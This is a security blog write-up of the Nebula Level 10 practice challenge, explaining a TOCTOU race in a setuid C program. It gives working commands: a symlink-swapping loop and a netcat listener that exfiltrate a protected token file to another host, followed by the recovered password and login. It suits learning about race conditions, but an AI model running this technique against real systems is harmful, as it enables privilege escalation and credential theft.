<!DOCTYPE html>
<html lang="en">

  <head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.0.2/cookieconsent.min.css" />
<script async defer src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.0.2/cookieconsent.min.js"></script>
<script>
window.addEventListener("load", function(){
window.cookieconsent.initialise({
  "palette": {
    "popup": {
      "background": "#424242"
    },
    "button": {
      "background": "#2a7ae2"
    }
  },
  "content": {
    "href": "/privacy-policy"
  }
})});
</script>
  
  
  
  <title>Exploit Exercises: Nebula Level 10</title>
  <meta name="description" content="">
  
    
    <meta name="keywords" content="Lucian Nitescu nebula writeups level flag getflag exploit exercise tutorial solution">
  

  <link rel="stylesheet" href="/assets/main.css">
  <link rel="canonical" href="https://nitesculucian.github.io/2018/07/16/exploit-exercises-nebula-level-10/">
  
  
  <link rel="alternate" type="application/rss+xml" title="Lucian Nitescu" href="https://nitesculucian.github.io/feed.xml">
  <meta name="flattr:id" content="njnwdo">
  <!-- Hotjar Tracking Code for https://nitesculucian.github.io/ -->
<script>
    (function(h,o,t,j,a,r){
        h.hj=h.hj||function(){(h.hj.q=h.hj.q||[]).push(arguments)};
        h._hjSettings={hjid:1067531,hjsv:6};
        a=o.getElementsByTagName('head')[0];
        r=o.createElement('script');r.async=1;
        r.src=t+h._hjSettings.hjid+j+h._hjSettings.hjsv;
        a.appendChild(r);
    })(window,document,'https://static.hotjar.com/c/hotjar-','.js?sv=');
</script>

<script async custom-element="amp-auto-ads"
        src="https://cdn.ampproject.org/v0/amp-auto-ads-0.1.js">
</script>


    
    
    
    	
    
    	
    		
    			
    			<meta property="og:image" content="https://nitesculucian.github.io/uploads/Screenshot%20from%202018-07-16%2000-20-16.png" alt="Image of Nebula Terminal" " />
    			<meta name="twitter:image" content="https://nitesculucian.github.io/uploads/Screenshot%20from%202018-07-16%2000-20-16.png" alt="Image of Nebula Terminal" " />
    			
    		
        
    


  
  <meta name="twitter:card" content="summary">
  
  <meta name="twitter:title" content="Exploit Exercises: Nebula Level 10">
  <meta name="twitter:description" content="">
  
  
  
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css?family=Bitter:400,400i,700" rel="stylesheet">

  
  <!-- Google Analytics -->
  <script>
    (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
    m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
    })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

    ga('create', 'UA-107695141-1', 'auto');
    ga('send', 'pageview');

  </script>


</head>


  <body>

    <header class="site-header">

  <div class="wrapper">

    <a class="site-title" href="/">Lucian Nitescu</a>

    <nav class="site-nav">
      
        
        <a class="page-link" href="/">Home</a>
      
        
        <a class="page-link" href="/about/">Whoami</a>
      
        
        <a class="page-link" href="/archives/">Archives</a>
      
    </nav>
    <br>Security Blog
  </div>

</header>


    <main class="page-content" aria-label="Content">
      <div class="wrapper">
        <article class="post" itemscope itemtype="http://schema.org/BlogPosting">

  <header class="post-header">
    
    <h1 class="post-title" itemprop="name headline">Exploit Exercises: Nebula Level 10</h1>
    
    <p class="post-meta"><time datetime="2018-07-16T15:49:00-03:00" itemprop="datePublished">Jul 16, 2018</time> •
  
    
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
        <a href="/categories/nebula/">nebula</a>,
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
  
    
    
      
    
      
    
      
    
      
    
      
    
      
    
      
        <a href="/categories/writeups/">writeups</a>
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
  



</p>
  </header>

  <hr>

  <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
  <!-- all pages -->
  <ins class="adsbygoogle"
  style="display:block"
  data-ad-client="ca-pub-0255642880549652"
  data-ad-slot="6220756861"
  data-ad-format="auto"
  data-full-width-responsive="true"></ins>
  <script>
    (adsbygoogle = window.adsbygoogle || []).push({});
  </script>

  <hr>

  <div class="post-content" itemprop="articleBody" style="word-wrap:break-word">
    <p><img src="/uploads/Screenshot%20from%202018-07-16%2000-20-16.png" alt="Image of Nebula Terminal" /></p>

<p>The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.</p>

<p>To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.</p>

<h3 id="source-code">Source code</h3>

<p>(basic.c)</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;stdio.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;errno.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;string.h&gt;
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">file</span><span class="p">;</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">host</span><span class="p">;</span>

  <span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"%s file host</span><span class="se">\n\t</span><span class="s">sends file to host if you have access to it</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
      <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="n">file</span> <span class="o">=</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
  <span class="n">host</span> <span class="o">=</span> <span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>

  <span class="k">if</span><span class="p">(</span><span class="n">access</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">R_OK</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
      <span class="kt">int</span> <span class="n">ffd</span><span class="p">;</span>
      <span class="kt">int</span> <span class="n">rc</span><span class="p">;</span>
      <span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="n">sin</span><span class="p">;</span>
      <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>

      <span class="n">printf</span><span class="p">(</span><span class="s">"Connecting to %s:18211 .. "</span><span class="p">,</span> <span class="n">host</span><span class="p">);</span> <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>

      <span class="n">fd</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

      <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sin</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr_in</span><span class="p">));</span>
      <span class="n">sin</span><span class="p">.</span><span class="n">sin_family</span> <span class="o">=</span> <span class="n">AF_INET</span><span class="p">;</span>
      <span class="n">sin</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">.</span><span class="n">s_addr</span> <span class="o">=</span> <span class="n">inet_addr</span><span class="p">(</span><span class="n">host</span><span class="p">);</span>
      <span class="n">sin</span><span class="p">.</span><span class="n">sin_port</span> <span class="o">=</span> <span class="n">htons</span><span class="p">(</span><span class="mi">18211</span><span class="p">);</span>

      <span class="k">if</span><span class="p">(</span><span class="n">connect</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">sin</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr_in</span><span class="p">))</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">printf</span><span class="p">(</span><span class="s">"Unable to connect to host %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">host</span><span class="p">);</span>
          <span class="n">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
      <span class="p">}</span>

<span class="cp">#define HITHERE ".oO Oo.\n"
</span>      <span class="k">if</span><span class="p">(</span><span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">HITHERE</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">HITHERE</span><span class="p">))</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">printf</span><span class="p">(</span><span class="s">"Unable to write banner to host %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">host</span><span class="p">);</span>
          <span class="n">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
      <span class="p">}</span>
<span class="cp">#undef HITHERE
</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"Connected!</span><span class="se">\n</span><span class="s">Sending file .. "</span><span class="p">);</span> <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>

      <span class="n">ffd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
      <span class="k">if</span><span class="p">(</span><span class="n">ffd</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">printf</span><span class="p">(</span><span class="s">"Damn. Unable to open file</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
          <span class="n">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
      <span class="p">}</span>

      <span class="n">rc</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">ffd</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buffer</span><span class="p">));</span>
      <span class="k">if</span><span class="p">(</span><span class="n">rc</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">printf</span><span class="p">(</span><span class="s">"Unable to read from file: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">strerror</span><span class="p">(</span><span class="n">errno</span><span class="p">));</span>
          <span class="n">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
      <span class="p">}</span>

      <span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">rc</span><span class="p">);</span>

      <span class="n">printf</span><span class="p">(</span><span class="s">"wrote file!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"You don't have access to %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="solution">Solution</h3>

<p>Unfortunately for this challenge, the team from Exploit Exercises forgot an important file straight in the home folder of level 10 user! At first, I could not believe it, but here is the write up of it:</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">level10@nebula:~$</span> <span class="nb">ls</span> <span class="nt">-al</span>
<span class="go">total 11
drwxr-x--- 1 level10 level10   60 Oct 31 14:43 .
drwxr-xr-x 1 root    root      60 Aug 27  2012 ..
-rw-r--r-- 1 level10 level10  220 May 18  2011 .bash_logout
-rw-r--r-- 1 level10 level10 3353 May 18  2011 .bashrc
drwx------ 2 level10 level10   60 Oct 31 14:43 .cache
-rw------- 1 level10 level10   43 Aug 19  2012 .lesshst
-rw-r--r-- 1 level10 level10  675 May 18  2011 .profile
-rw------- 1 level10 level10 4283 Aug 19  2012 .viminfo
-rw-rw-r-- 1 level10 level10  382 Aug 19  2012 x
</span><span class="gp">level10@nebula:~$</span>
<span class="go">Here we can observe the file called "x" and it reveals the following:
</span><span class="gp">level10@nebula:~$</span> <span class="nb">cat </span>x | <span class="nb">grep </span>6
<span class="go">615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
</span><span class="gp">level10@nebula:~$</span>
<span class="go">Hmmm, weeeeellll…​ That’s the password of your target account called flag10. Let’s take the flag!
</span><span class="gp">level10@nebula:~$</span> ssh flag10@localhost
<span class="go">The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


flag10@localhost's password:
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


</span><span class="gp">The programs included with the Ubuntu system are free software;</span>
<span class="go">the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

</span><span class="gp">flag10@nebula:~$</span> getflag
<span class="go">You have successfully executed getflag on a target account
</span><span class="gp">flag10@nebula:~$</span>
</code></pre></div></div>

<p>And that’s it! We have completed out task. What we learned? Nothing! Now let’s get back to the intended task.
Contents of the flag10 user account home folder:</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">level10@nebula:/home/flag10$</span> <span class="nb">ls</span> <span class="nt">-al</span>
<span class="go">total 14
drwxr-x--- 2 flag10 level10   93 Nov 20  2011 .
drwxr-xr-x 1 root   root      60 Aug 27  2012 ..
-rw-r--r-- 1 flag10 flag10   220 May 18  2011 .bash_logout
-rw-r--r-- 1 flag10 flag10  3353 May 18  2011 .bashrc
-rw-r--r-- 1 flag10 flag10   675 May 18  2011 .profile
-rwsr-x--- 1 flag10 level10 7743 Nov 20  2011 flag10
-rw------- 1 flag10 flag10    37 Nov 20  2011 token
</span><span class="gp">level10@nebula:/home/flag10$</span>
</code></pre></div></div>

<p>And here are the most important files:</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">level10@nebula:/home/flag10$</span> file flag10
<span class="go">flag10: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
</span><span class="gp">level10@nebula:/home/flag10$</span>
<span class="go">And the surprise:
</span><span class="gp">level10@nebula:/home/flag10$</span> <span class="nb">cat </span>token
<span class="go">cat: token: Permission denied
</span><span class="gp">level10@nebula:/home/flag10$</span>
</code></pre></div></div>

<p>I bet we have to retrieve the token somehow in order to log in to our target account log10 (same as in the above file). Let’s take a look at our files.</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">level10@nebula:/home/flag10$</span> <span class="nb">ls</span> <span class="nt">-al</span>
<span class="go">total 14
drwxr-x--- 2 flag10 level10   93 Nov 20  2011 .
drwxr-xr-x 1 root   root      60 Aug 27  2012 ..
-rw-r--r-- 1 flag10 flag10   220 May 18  2011 .bash_logout
-rw-r--r-- 1 flag10 flag10  3353 May 18  2011 .bashrc
-rw-r--r-- 1 flag10 flag10   675 May 18  2011 .profile
-rwsr-x--- 1 flag10 level10 7743 Nov 20  2011 flag10
-rw------- 1 flag10 flag10    37 Nov 20  2011 token
</span><span class="gp">level10@nebula:/home/flag10$</span>
</code></pre></div></div>

<p>Only flag10 user account can access the token file, or an another vulnerable SUID applications like flag10 elf (SUID permissions: -rwsr-x—). Let’s take a look at our source code.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="p">(</span><span class="n">access</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">R_OK</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</code></pre></div></div>

<p>This tells all everything about this level. From the man page (level10@nebula:/home/flag10$ man access):</p>

<ul>
  <li>access() checks whether the calling process can access the file path‐name.</li>
  <li>The check is done using the calling process’s real UID and GID, rather than the effective IDs as is done when actually attempting an operation (e.g., open(2)) on the file.</li>
</ul>

<p>Also inside this IF statement we have:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ffd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
</code></pre></div></div>

<p>⇒ In other words this is a a time-of-use to time-of-check or TOCTOU bug (https://en.wikipedia.org/wiki/Time_of_check_to_time_of_use).</p>

<p>⇒ If we can swap out the file between the time-of-check and the time-of-use, we should be able to send token.</p>

<p>⇒ Race condition! Let’s try!</p>

<p>Nebula system:</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">level10@nebula:/home/flag10$</span> nano /tmp/token
<span class="gp">level10@nebula:/home/flag10$</span> <span class="nb">cat</span> /tmp/token
<span class="go">Here I have full access.
</span><span class="gp">level10@nebula:/home/flag10$</span>
<span class="go">Personal system:
</span><span class="gp">root@yourcomputer:~$</span> nc <span class="nt">-l</span> 18211
<span class="go">Nebula system:
</span><span class="gp">level10@nebula:/home/flag10$</span> ./flag10 /tmp/token 192.168.56.1
<span class="go">Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
</span><span class="gp">level10@nebula:/home/flag10$</span>
</code></pre></div></div>

<p>Personal system:</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@yourcomputer:~$</span> nc <span class="nt">-l</span> 18211
<span class="go">.oO Oo.
Here I have full access.
</span></code></pre></div></div>

<p>⇒ If I have access to my token file then I can get my token.</p>

<p>Hmmm. Do you remember our friendly command “ln”? Is there enough delay between our link and our access permissions? While true?</p>

<p>Personal system:</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@yourcomputer:~$</span> nc <span class="nt">-lk</span> 18211
<span class="go">"k" for "non-stop listening".
</span></code></pre></div></div>

<p>Nebula system (terminal 1):</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">level10@nebula:~$</span> <span class="nb">cd</span> /tmp
<span class="gp">level10@nebula:/tmp$</span> <span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do </span><span class="nb">ln</span> <span class="nt">-sf</span> /home/flag10/token <span class="nb">test</span><span class="p">;</span> <span class="nb">ln</span> <span class="nt">-sf</span> /tmp/token <span class="nb">test</span><span class="p">;</span> <span class="k">done</span>
</code></pre></div></div>

<p>Nebula system (terminal 2):</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">level10@nebula:/tmp$</span> <span class="nb">cd</span> /tmp/
<span class="gp">level10@nebula:/tmp$</span> <span class="nb">ls</span> <span class="nt">-al</span>
<span class="go">total 4
drwxrwxrwt 4 root    root    120 Nov  6 14:13 .
drwxr-xr-x 1 root    root    220 Nov  6 13:24 ..
drwxrwxrwt 2 root    root     40 Nov  6 13:24 .ICE-unix
drwxrwxrwt 2 root    root     40 Nov  6 13:24 .X11-unix
</span><span class="gp">lrwxrwxrwx 1 level10 level10  18 Nov  6 14:13 test -&gt;</span> /home/flag10/token
<span class="go">-rw-rw-r-- 1 level10 level10  25 Nov  6 13:46 token
</span><span class="gp">level10@nebula:/tmp$</span>  <span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do</span> /home/flag10/flag10 /tmp/token 192.168.56.1<span class="p">;</span> <span class="k">done</span>
<span class="go">Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
Connecting to 192.168.56.1:18211 .. Connected!

</span><span class="gp">&lt; sniiiiiiiiip &gt;</span>
</code></pre></div></div>

<p>Personal system:</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@yourcomputer:~$</span> nc <span class="nt">-lk</span> 18211
<span class="go">.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.
.oO Oo.
Here I have full access.

</span><span class="gp">&lt; sniiiiip &gt;</span>
<span class="go">
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
</span></code></pre></div></div>

<p>And for the big final of our race condition:</p>

<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">level10@nebula:~$</span> ssh flag10@localhost
<span class="go">The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


flag10@localhost's password:
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


</span><span class="gp">The programs included with the Ubuntu system are free software;</span>
<span class="go">the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

</span><span class="gp">flag10@nebula:~$</span> getflag
<span class="go">You have successfully executed getflag on a target account
</span><span class="gp">flag10@nebula:~$</span>
</code></pre></div></div>


  </div>

  <hr>
  
  <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
  <!-- all pages -->
  <ins class="adsbygoogle"
  style="display:block"
  data-ad-client="ca-pub-0255642880549652"
  data-ad-slot="6220756861"
  data-ad-format="auto"
  data-full-width-responsive="true"></ins>
  <script>
    (adsbygoogle = window.adsbygoogle || []).push({});
  </script>


  
  <div class="post-comments" itemprop="comment">
    <hr />
<h1>Comments</h1>
<div id="disqus_thread"></div>
<script>

/**
*  RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.
*  LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/
/*
var disqus_config = function () {
this.page.url = PAGE_URL;  // Replace PAGE_URL with your page's canonical URL variable
this.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable
};
*/
(function() { // DON'T EDIT BELOW THIS LINE
var d = document, s = d.createElement('script');
s.src = 'https://nitesculucian.disqus.com/embed.js';
s.setAttribute('data-timestamp', +new Date());
(d.head || d.body).appendChild(s);
})();
</script>
<noscript>Please enable JavaScript to view the <a href="https://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>

  </div>
  

</article>

      </div>
    </main>

    <footer class="site-footer">

  <div class="wrapper">

    <p>
      

&copy; Lucian Nitescu - Powered by <a href="https://jekyllrb.com">Jekyll</a> &amp; <a href="https://github.com/yous/whiteglass">whiteglass</a> - Subscribe via <a href="https://nitesculucian.github.io/feed.xml">RSS</a>

      | <a href="/privacy-policy" >Privacy Policy</a>
      | <a href="/legal-disclaimer" >Legal Disclaimer</a>
    </p>

  </div>

</footer>


  </body>

</html>
